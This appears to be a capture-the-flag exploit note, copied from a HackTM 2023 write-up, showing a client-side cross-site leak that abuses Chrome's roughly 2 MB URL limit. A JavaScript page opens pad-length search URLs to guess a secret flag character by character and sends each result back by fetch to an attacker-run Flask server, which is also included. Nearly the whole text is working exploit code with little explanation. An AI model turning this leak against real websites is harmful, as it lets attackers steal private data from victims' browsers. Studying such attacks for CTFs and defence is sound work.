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URL Max Length - Client Side

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Code copied from https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit

<html>
<body></body>
<script>
    (async () => {

        const curr = "http://secrets.wtl.pw/search?query=HackTM{"

        const leak = async (char) => {
            
            fetch("/?try=" + char)
            let w = window.open(curr + char +  "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
            
            const check = async () => {
                try {
                    w.origin
                } catch {
                    fetch("/?nope=" + char)
                    return
                }
                setTimeout(check, 100)
            }
            check()
        }

        const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"

        for (let i = 0; i < CHARSET.length; i++) {
            leak(CHARSET[i])
            await new Promise(resolve => setTimeout(resolve, 50))
        }
    })()
</script>
</html>

Server side:

from flask import Flask, request

app = Flask(__name__)

CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
chars = []

@app.route('/', methods=['GET'])
def index():
    global chars
    
    nope = request.args.get('nope', '')
    if nope:
        chars.append(nope)

    remaining = [c for c in CHARSET if c not in chars]

    print("Remaining: {}".format(remaining))

    return "OK"

@app.route('/exploit.html', methods=['GET'])
def exploit():
    return open('exploit.html', 'r').read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=1337)
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